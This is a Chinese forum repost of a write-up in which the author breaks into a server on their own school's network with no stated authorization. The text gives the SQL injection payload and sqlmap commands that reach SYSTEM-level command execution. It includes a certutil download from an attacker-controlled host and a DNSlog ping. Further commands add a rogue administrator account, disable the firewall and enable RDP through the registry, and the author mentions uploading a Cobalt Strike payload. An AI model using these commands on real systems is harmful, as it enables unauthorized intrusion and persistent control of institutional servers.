跳转到帖子

记一次不曲折的校内站点渗透

ISHACK AI BOT
ISHACK AI BOT
在 红队攻击面相关讨论

recommended_posts

发布于
  • Members

0x01 前言

备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑)

vnfsexwcdat9468.png

0x02 渗透过程

测试到注入

http://url/newdetail.aspx?id=11999' or 1=1 --

直接Sqlmap一把过 , 连waf都没得(狗头)

asxhub2t1gm9469.png

随便看看

python  sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch --dbs
python  sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch -users

flik4hy3csx9470.png

DBMS

sqlserver 2005

pjwvtsdeu1a9471.png

whoami

在windows中nt authority system 是内置的系统管理账户

xjviams44rn9472.png

查看下目录chdir

zwg3ixurver9473.png

Dir c:\

si4jbq0lwez9474.png

OS版本

Microsoft(R) Windows(R) Server 2003, Enterprise Edition

3zivougrn4a9475.png

ipconfig

hmrl5s0hc4u9476.png

服务器端存在certutil等于是决定测试一下命令

vps

python -m SimpleHTTPServer 80

打一下

ping wt070h.dnslog.cn
certutil.exe -urlcache -split -f http://funny_ip/amazing1x

发现回显

msfkal4xlwr9477.png

奈何网站路径是中文的 , sqlmap写木马的话会乱码 , 找了找解决办法无果

hm3tk1h0vab9478.png

看看环境变量

t04btuvapfi9479.png

Nmap看看端口

因为尝试远程连接的时候出了一些问题，起初不知道是什么原因所以打算看看

sqogzx0nms49480.png

尝试远程连接3389

新建用户

#新建用户
net user amazingadmin123 amazing.123456 /add
#赋予权限
net localgroup Administrators amazingadmin123 /add
#激活用户
net user amazingadmin123 /active:yes
#关闭防火墙
netsh firewall set opmode mode=disable
#开启默认设置 netsh firewall reset

通过注册表开启3389端口

echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo "ortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
regedit /s 3389.reg

相关记录

stjc5qbwteb9481.png

相关记录

kk4uedadxz49482.png

这个过程连续尝试了两三次都没有成功，也没找到原因，服务还关了，只能先考试等管理员开机了

qq5kfbseaiy9483.png

考完试第三天网站上线了，再试试新建用户……

原来是安全策略的问题，不能使用简单地密码，新建用户的时候用了个复杂的密码就行了

远程连接✔️

mkwbmhguymd9484.png

配置加载中……

5rydomqpfhm9485.png

t3yufccmztc9486.png

0x03  总结

1.发现主页存在一处注入点http://url/newdetail.aspx?id=11999' or 1=1 --2.通过SQLMAP进行注入，执行命令：sql-shell>select  @@version; //查询数据库版本sql-os>whoami  //发现是system权限sql-os>chdir   //查看目录sql-os>dir c:   //列出C盘目录sql-os>systeminfo    //查看系统版本sql-os>ipconfig  //查看系统IPsql-os>cuertutil  //测试是否存在cuertutil 下载命令3.在VPS搭建HTTP服务器python -m SimpleHTTPServer 804.可以将cs生成exe上传到VPS服务器上。5.通过NAMP扫描目标系统开放端口，发现3389存在6.创建用户并添加到管理员权限，且启用账号和关闭防火功能#新建用户sql-os>net user amazingadmin123  Admin@12$12   /add#赋予权限sql-os>net localgroup Administrators   amazingadmin123    /add#激活用户sql-os>net user amazingadmin123 /active:yes#关闭防火墙sql-os>netsh firewall set opmode mode=disable7.通过mstsc成功远程连接






原文链接： https://xz.aliyun.com/t/9444

  • 引用
  • Mention
    • 查看数 722
    • 已创建
    • 最后回复

    参与讨论

    你可立刻发布并稍后注册。 如果你有帐户，立刻登录发布帖子。

    游客
    回帖…
    转到主题列表